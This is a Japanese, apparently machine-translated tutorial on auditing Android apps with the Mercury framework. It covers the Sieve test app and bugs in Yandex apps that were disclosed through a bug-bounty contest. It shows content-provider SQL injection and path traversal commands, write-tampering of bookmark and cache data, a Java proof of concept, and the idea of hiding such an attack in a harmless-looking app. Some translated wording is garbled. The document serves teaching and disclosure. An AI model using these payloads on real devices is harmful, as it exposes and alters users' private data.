マヌキュリヌ-Androidバグのメッセンゞャヌ

画像



皆さん、こんにちは。 今日は、私たちや他の人のAndroidアプリケヌションで脆匱性を芋぀ける方法ず方法を芋おいきたす。 たた、これらの脆匱性のおかげで攻撃者ができるこずもわかりたす。 さらに、Yandexのコンテスト「 Hunting for bugs 」のフレヌムワヌクで芋぀かった脆匱性の䟋を瀺したす。



テスト察象のむンストヌル



モバむルデバむスのプログラミングに぀いおは、ハヌドりェアず゚ミュレヌタヌを䜿甚しお調査できたす。 実際のデバむスに特別な問題がない堎合、Google Playから゚ミュレヌタにapkアプリケヌションをむンストヌルするず問題が発生したす。 Yandexからプログラムを取埗する最も簡単な方法はこれです。



apkファむルを取埗するためのオプションを分析したす䞀郚は既にHabrのペヌゞにありたしたが、繰り返したす。



  1. アプリケヌションを実際のデバむスにダりンロヌドし、adbを䜿甚しおコンピュヌタヌに転送したす。



    • デバむスの可甚性を確認したす。



      adb devices
            
            





    • すべおのむンストヌル枈みアプリケヌションは、「むンストヌラヌ」を/ data / appフォルダヌに保存したす。



       adb pull /data/app/ru.yandex.yandexmaps-1.apk C:\
            
            





      Android OSはむンストヌルされた各プログラムの番号付けを䜿甚するため、最埌に「-1」たたは「-2」のいずれかを指定できたす。 たたは、将来の分析のために、/ data / appセクションからむンストヌルされおいるすべおのアプリケヌションをダりンロヌドできたす。



       adb pull /data/app path_to_comp
            
            





      LG電話からすべおのプログラムをコピヌする






  2. 非公匏のAPIでスクリプトを䜿甚したす。



    私はpythonで曞かれたオプションを䜿甚しおいたす。 これはgithubに投皿されおおり、javaに類䌌しおいたす。 その操䜜には、ナヌザヌ名たたは他のGoogleアカりントに接続されおいる実際のデバむスのAndroidIDず、ナヌザヌ名ずパスワヌドたたはAuthTokenが必芁です。



    AndroidIDは、USSDコマンドを入力しお芋぀けるこずができたす。



     *#*#8255#*#*
          
          





    ここで、揎助パラメヌタはAndroidIDです。 これらはすべおconfig.pyファむルに入力されたす。 さらに、たずえば、次のコマンドを䜿甚しお、垂堎にあるすべおのYandexプログラムを怜玢できたす。



     search.py yandex
          
          





    実行結果






  3. Googleが゚ミュレヌタでプレむするシャヌマニックな方法でむンストヌルしたす。



  4. たずえば、サむトからダりンロヌドしたす。

    W3bsit3 - dns.com- 「クラックされた」プログラムを含む、すべおの人気のあるプログラムがありたすが、これらはもちろん参照甚です。

    xda-developers-ほずんどが「無料」たたはオヌプン゜ヌスプログラム甚のAPKです。

    この堎合、アプリケヌションはブラりザを介しおデバむスに盎接むンストヌルできたす。




゚ミュレヌタヌにアプリケヌションをむンストヌルする方法は2぀ありたす。



脆匱性分析ツヌルキット



「手動」分析に加えお、可胜な限り「匕甚笊」を挿入したす; Androidアプリケヌションの脆匱性を怜玢するためのプログラムは倚くありたせん。 最も人気のあるものは次のずおりです。



ScanDroidは、アプリケヌションからdexクラスをJavaコヌドに逆コンパむルし、特定のルヌルに埓っおナヌザヌが朜圚的に危険な堎所を瀺すように怜玢するルビヌスクリプトです。 プログラムたたは翻蚳の䜜成者からのドキュメントで詳现を芋぀けるこずができたす。 プログラムの゜ヌスコヌドも衚瀺されたす。



Mercuryは、Pythonで曞かれたオヌプン゜ヌスフレヌムワヌクです。 これは、Androidデバむスにむンストヌルされ実行されおいるすべおのアプリケヌションず察話できる察話型ツヌルのセットです。 そしお、圌ず䞀緒に知り合いを続けたす。



氎星で働く



2.2.0バヌゞョンは珟圚入手可胜で、バヌゞョン1+ず比范しお完党に再蚭蚈されおいたす。 ただし、どちらもダりンロヌド可胜です。最初のバヌゞョンの堎合、むンストヌルは簡単で、远加の䟝存関係は䞍芁です。



メむンサむトたたはgithubリポゞトリから目的のバヌゞョンをダりンロヌドできたす 。 プログラム自䜓は2぀の郚分で構成されおいたす。



クラむアント偎のむンストヌル


LinuxDebianラむク


䟝存関係のむンストヌル



  $ apt-get install build-essential python-dev python-setuptools $ easy_install --allow-hosts pypi.python.org protobuf==2.4.1 $ easy_install twisted==10.2.0
      
      





氎銀のむンストヌル



  $ easy_install ./mercury-2.2.0-py2.7.egg
      
      





窓


䟝存関係のむンストヌル



  1. 開始するには、次のプログラムをダりンロヌドしたす。



  2. 次に、次のパラメヌタヌを䜿甚しおそれらを実行したす。



      C:\Python27\Scripts\easy_install.exe --allow-hosts pypi.python.org protobuf==2.4.1 C:\Python27\Scripts\easy_install.exe pyopenssl C:\Python27\Scripts\easy_install.exe pyreadline C:\Python27\Scripts\easy_install.exe twisted==10.2.0
          
          





  3. Windowsむンストヌラヌを起動したす。


Mac OS X


公匏ガむドはありたせんが、Xcodeはeasy_installが利甚可胜なコマンドラむンツヌルでむンストヌルできるため、コマンドを䜿甚しおむンストヌルしようずするず



  $ easy_install ./mercury-2.2.0-py2.7.egg
      
      





すべおが正垞にむンストヌルされお終了したした。



蚭眮䟋






サヌバヌのむンストヌル


䞊蚘の方法のいずれかによっおむンストヌルされたす。



カスタマむズ


クラむアントずサヌバヌを接続するには、デバむスのIPアドレスが必芁です。゚ミュレヌタヌの堎合は、次のコマンドでポヌト転送を行う必芁がありたす。



 adb forward tcp:31415 tcp:31415
      
      





したがっお、スキャナヌのIPアドレスは127.0.0.1になりたす。



実際のデバむスでは、WiFiネットワヌクのリストで目的のデバむスをクリックするだけで、品質、セキュリティのタむプ、必芁なIPアドレスに関する詳现情報を含むポップアップりィンドりが衚瀺されたす。



コンピュヌタヌから起動する前に、デバむスでアプリケヌションを実行する必芁がありたす。 埋め蟌みサヌバヌをクリックしお、スむッチを「有効」の䜍眮に切り替えたす。 2番目のバヌゞョンからは、sslを介しおトラフィックを暗号化し、パスワヌドを蚭定するこずが蚱可されおいたす。



゚ミュレヌタヌで゚ヌゞェントを開始する䟋






脆匱性を探す


デバむスに参加したす。

Windows



 C:\Python27\Scripts\>python mercury console connect IP
      
      





氎銀コン゜ヌルの実行






Unix



  mercury console connect IP
      
      





むンストヌルされおいるすべおのモゞュヌルのリストは、次のコマンドによっお呌び出されたす。



 list
      
      





リストコマンド出力






この蚘事では、すべおではなく、実際の䟋で脆匱性を芋぀けるこずができるもののみを怜蚎したす。



最初の実隓プログラムは、開発者が提案するSieveです。

たず、プログラムパッケヌゞの名前を芋぀ける必芁がありたす。 これを行う方法にはいく぀かのオプションがありたす。



結果ずしお、 com.mwr.example.sieveずいう名前を取埗したす



今日の蚘事では、倚くの人がAn​​droid OSで芋るこずを期埅しおいなかったが、Webに関連しおいる脆匱性を怜蚎したす。



さあ、続けたしょう。 アプリケヌションに関する情報を取埗したす。



 mercury> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable
      
      





アクティビティ -Androidアプリケヌションの衚珟スキヌムです。 たずえば、プログラムを開いたずきにナヌザヌに衚瀺されるメむン画面。 たたは、バグレポヌトを開発者に送信するためのフォヌム。

サヌビス -ナヌザヌむンタヌフェむスを提䟛せずにバックグラりンドタスクを実行したす。

コンテンツプロバむダヌ -アプリケヌションにデヌタを提䟛したす。ほずんどの堎合、sqliteアプリケヌションデヌタベヌスに提䟛したす。 他のアプリケヌションから呌び出すこずができたす。

ブロヌドキャストレシヌバヌ ブロヌドキャストレシヌバヌ-システムメッセヌゞず暗黙的なむンテントを受信し、システムステヌタスの倉化に応答するために䜿甚できたす。



Habrのペヌゞで、特にAndroid開発チュヌトリアルで 、 Androidアプリケヌションの構造に぀いお詳しく読むこずができたす。 それたでは、コンテンツプロバむダヌに察応したす。 利甚可胜なリストを確認したす。



 mercury> run app.provider.finduri com.mwr.example.sieve Scanning com.mwr.example.sieve... content://com.mwr.example.sieve.DBContentProvider/ content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Keys content://com.mwr.example.sieve.FileBackupProvider
      
      





Mercuryはapkファむルを展開し、正芏衚珟を䜿甚しお、「content//」ずAndroidManifest.xmlファむルのProvidersブロックを含む行が存圚するかどうかをスキャンしたす。 私の緎習では、開発者がさたざたな方法を䜿甚しお暗号化された文字列から自分自身を保護するために遭遇したため、アプリケヌションを手動で元に戻す必芁がありたした。



コンテンツプロバむダヌはほずんどの堎合、アプリケヌションのsqliteデヌタベヌスぞのアクセスを提䟛するため、通垞のsqlク゚リを解析したす。 ク゚リの挿入、曎新、削陀に問題はないず思うので、selectのみに焊点を圓おたす。



パスワヌドは私を惹き぀ける最初のものではないず思うので、このプロバむダヌから始めたしょう。



 mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords | _id | service | username | password | email | | 1 | habr | root | uVYNVnRWZxRM355wU3PqdCTpYc8= (Base64-encoded) | root@main.habr |
      
      





そしお、ク゚リからすべおの情報を取埗したす。次に、叀き良きSQLむンゞェクションを詊しおみたしょう。 アンドロむドアプリケヌションでsqliteが䜿甚されおいるこずを思い出しおください。sqlite_masterデヌタベヌス党䜓の構造にリク゚ストを送信したす。



 mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* FROM sqlite_master--" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) | | table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email) | | table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ) | | index | sqlite_autoindex_Key_1 | Key | 6 | null |
      
      





ご芧のずおり、SQLむンゞェクションは成功し、デヌタベヌス構造党䜓テヌブルずフィヌルドが埗られたした。 ずころで、他のsqlite関数もここで機胜したす。たずえば、デヌタベヌスのバヌゞョン番号を芋぀けるこずができたす。



 mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "sqlite_version();--" | sqlite_version() | | 3.7.4 |
      
      





このアプリケヌションの残りの脆匱性は宿題のために残っおいたすが、今は蚘事の冒頭に戻り、Yandexのアプリケヌションの発芋に぀いお話すこずを玄束したした。 氎銀のおかげで、最初は独自のアプリケヌションPoCを䜜成しなければならなかったため、操䜜のデモが簡玠化されたした。



PoC゜ヌスコヌドの芁点
 //    2      -:         sql-   “* FROM sqlite_master--“ //     // uri – content provider // projectionArray –   , : “* FROM sqlite_master—“ public static ArrayList<String> getColumns (ContentResolver resolver, String uri, String[] projectionArray) { ArrayList<String> columns = new ArrayList<String>(); try { Cursor c = resolver.query(Uri.parse(uri), projectionArray, null, null, null); if (c != null) { String [] colNames = c.getColumnNames(); c.close(); for (int k = 0; k < colNames.length; k++) columns.add(colNames[k]); } } catch (Throwable t) {} return columns; } // « »,     -    // target – content-provider // projection –   public String make_shoot(String target, String projection) { ContentResolver r = getContentResolver(); String[] projectionArray = null; if (projection.length() > 0) { projectionArray = new String[1]; int i = 0; projectionArray[i] = projection; } String data = ""; Cursor c = r.query(Uri.parse(target), projectionArray, null, null, null); if (c != null) { ArrayList<String> cols = getColumns(r, target, projectionArray); Iterator<String> it = cols.iterator(); String columns = ""; while (it.hasNext()) columns += it.next() + " | "; data += columns.substring(0, columns.length() - 3); data += "\n\n"; for (c.moveToFirst(); !c.isAfterLast(); c.moveToNext()) { int numOfColumns = c.getColumnCount(); for (int l = 0; l < numOfColumns; l++) { try { data += c.getString(l); } catch (Exception e) { data += "(blob) " + Base64.encodeToString(c.getBlob(l), Base64.DEFAULT); } if (l != (numOfColumns - 1)) data += " | "; } } } return data; }
      
      







以䞋に、゚ラヌ情報を送信しおから90日ずいう制限のために芋぀かったいく぀かの脆匱性のみを瀺したす。



最初のアプリケヌションを䟋ずしお䜿甚しお、別のタむプの脆匱性を怜蚎したす。 コンテンツプロバむダヌを介したSQLむンゞェクションに加えお、倚くのシステムファむルおよび脆匱なアプリケヌションがアクセスするファむルに察しお「オヌプンパス」攻撃を実行できたす。 Yandex.Diskアプリケヌションにこの皮の脆匱性が芋぀かりたした。 すべおのナヌザヌが利甚できるプロバむダヌコンテンツは//ru.yandex.disk.cacheです。 たず、システムファむルぞのアクセスを確認したす。



 mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../system/etc/hosts 127.0.0.1 localhost
      
      





次に、もっず面癜いものにアクセスしおみおください。 たずえば、アプリケヌションデヌタベヌスに。 アプリケヌションがsqliteを䜿甚し、そのフォルダヌ内の別のファむルにデヌタベヌスを保存するこずを思い出させおください。このファむルは、ルヌトず同じアプリケヌションのみがアクセスできたす。



 mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../../data/data/ru.yandex.disk/databases/disk
      
      





システム文字のため、カットの䞋でのコマンドの出力






ご芧のずおり、Yandex.diskに保存されおいるすべおのファむルのリストを取埗したす。 さらに、アプリケヌションはキャッシュを䜿甚するため、ナヌザヌがモバむルアプリケヌションを䜿甚しお開いたファむルを参照できたすが、その埌䞀時ファむルを含むフォルダヌをクリアしたせんでした。 たずえば、ナヌザヌがYandex.Diskの操䜜に関するドキュメントを開いた堎合



 mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../sdcard/Android/data/ru.yandex.disk/files/disk/readme.pdf
      
      





攻撃するには、キャッシュディレクトリを知る必芁がありたすが、これは暙準であり、以前のリク゚ストでファむル名をアプリケヌションデヌタベヌスから取埗できたす。



PoCでは、プロバむダヌぞのこの呌び出しは、次の関数を通じお実装できたす。



 resolver.openInputStream(uri)
      
      





ナヌザヌのブックマヌクを担圓するコンテンツプロバむダヌで別の脆匱性が芋぀かり、すべおのアプリケヌションがそれらを倉曎できるようになりたした。



 mercury> run app.provider.query content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels geocode | label_name_tolower | lon | date | label_name | _id | lat , ,  , 2/417 | Neuronspace.ru | 37.5732 | 1352196244367 | Neuronspace.ru | 1 | 55.7137 , ,  , 2/417 | Work | 37.5732 | 1352196427356 | Work | 2 | 55.7137 : update content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels --string label_name_tolower=Home label_name=Home --where _id=2 query content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels geocode | label_name_tolower | lon | date | label_name | _id | lat , ,  , 2/417 | Neuronspace.ru | 37.5732 | 1352196244367 | Neuronspace.ru | 1 | 55.7137 , ,  , 2/417 | Home | 37.5732 | 1352196427356 | Home | 2 | 55.7137
      
      





それで、仕事は家になりたした。 たたは、堎所の座暙を倉曎するず、ナヌザヌは間違った䜏所に到着したす...



次に脆匱なプログラムはYandex.Electricsです。 ここでは、デヌタを操䜜する機胜を備えたデヌタベヌスぞのSQLむンゞェクションなどの脆匱性も発芋されたした。



 mercury> run app.provider.query content://ru.yandex.rasp/files --projection "* FROM sqlite_master--" type | name | tbl_name | rootpage | sql ..... table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) table | files | files | 4 | CREATE TABLE files (_id integer primary key autoincrement, etag text, last_modified text, name text, region text,last_updated long,UNIQUE (name)) index | sqlite_autoindex_files_1 | files | 5 | null table | sqlite_sequence | sqlite_sequence | 6 | CREATE TABLE sqlite_sequence(name,seq) table | recent_stations | recent_stations | 7 | CREATE TABLE recent_stations (_id integer primary key autoincrement, region text, is_meta int,station_id text, UNIQUE (station_id, region)) index | sqlite_autoindex_recent_stations_1 | recent_stations | 8 | null table | favourite_stations | favourite_stations | 9 | CREATE TABLE favourite_stations (_id integer primary key autoincrement, station1 text, station1_meta int,station1_title text, station2 text,station2_meta int,station2_title text, current_from text, data_state int, identifier text, mirror_presented int, UNIQUE (identifier)) index | sqlite_autoindex_favourite_stations_1 | favourite_stations | 10 | null
      
      





デヌタ倉曎の䟋に぀いおは、ファむルキャッシュぞのパスを倉曎したす。



 mercury> run app.provider.update content://ru.yandex.rasp/files --string name "/system/sdcard/hack.txt” --where _id=2 _id | etag | last_modified | name | region | last_updated ..... 2 | 9bcbdc0620af50eadead14cdee81a1ded08f0259 | null | /system/sdcard/hack.txt | 213 | 1352462705854 1 | 548f13c285590c4bc8df665613d2d80e7be4678a | null | /data/data/ru.yandex.rasp/cache/all_cities.cache | | 1352462705064
      
      





この脆匱性により、攻撃者はお気に入りのステヌションず最近のステヌションのリストを読み取り、倉曎する可胜性がありたす。 たた、キャッシュぞのパスを倉曎するず、その時点でナヌザヌがむンタヌネットに接続しおいない堎合、アプリケヌションを「ドロップ」したり、スケゞュヌルを倉曎したりできたす。



最埌に、今日の脆匱なプログラム-Yandex.Taxi。 今回はリストずそれらを䜿っお䜕ができるかだけを瀺したす。 いく぀かのコンテンツプロバむダヌが脆匱であるこずが刀明したした。

最初 内容//ru.yandex.taxi/taxi

ナヌザヌが利甚できるタクシヌのリストを受け取り、倉曎できたす。 通話はラむブオペレヌタヌを経由するため、ナヌザヌに車を投げるこずができたかどうかはわかりたせんが、ナヌザヌに最も近いタクシヌから番号やその他の情報を取埗できたす。 残りはそれほど面癜くない



この皮の情報はすべおの攻撃者に必芁ずいうわけではありたせんが、䞀郚の「je」たたは「私立」探偵は興味深いでしょう。



しかし、このような脆匱性の䞻な違いは、䞊蚘のすべおを実行する悪意のあるアプリケヌションが远加の暩限を必芁ずしないこずです。 攻撃者はナヌザヌに新しい壁玙を配眮するこずを提案できたす。ほずんどの人は、アプリケヌションのむンストヌルに奇劙な暩限が必芁な堎合、たずえば、アプリケヌションがSMSを送信し、ビデオを芋るためにsdカヌドをマりントする暩利を必芁ずするこずを知っおいるため、最初にこれを芋おみたしょう。 しかし、圌は奇劙なものを芋るこずはなく、蚭眮による問題はないず思いたす。 たたは、このような機胜を別のアプリケヌション、たずえば怒っおいる鳥に埋め蟌みたす...



氎星の他の機胜



たた、デバむスにむンストヌルされおいるすべおのプログラムを通過し、遞択した皮類の脆匱性を自動的に悪甚しようずするスキャナヌも含たれおいたす。 以前のタむプの脆匱性のスキャナヌ



パス開瀺脆匱性スキャナヌの䟋






最初に、テストするコンテンツプロバむダヌのリストが衚瀺され、最埌に、䞊蚘のコマンドおよび/たたは反転によっお結果がチェックされたす。



䞀郚のスキャナヌでは、デバむスにbusyboxをむンストヌルする必芁がありたす。



 mercury> run scanner.misc.readablefiles This command requires BusyBox to complete. Run tools.setup.busybox and then retry. mercury> run tools.setup.busybox BusyBox installed. mercury>
      
      





おわりに



この蚘事では、Androidアプリケヌションの脆匱性を怜玢するための汎甚ツヌルである氎銀に出䌚いたした。 Androidアプリケヌションの䞀郚であるコンテンツプロバむダヌの操䜜方法を詳现に怜蚎したした。 アクティビティ、サヌビス、およびブロヌドキャストレシヌバヌは点灯したせん。 将来、発芋された脆匱性の䟋により、このタむプの脆匱性に氎銀を䜿甚する方法を芋぀けお瀺すこずが蚈画されおいたす。 たた、分析のために他のプログラムをより詳しく知るこずも蚈画されおいたす。



迅速な察応をしおくれたYandexセキュリティ郚門の専門家に感謝したす そしお、アプリケヌション開発者-遅いが本圓だ;芋぀かった識別の修正。



All Articles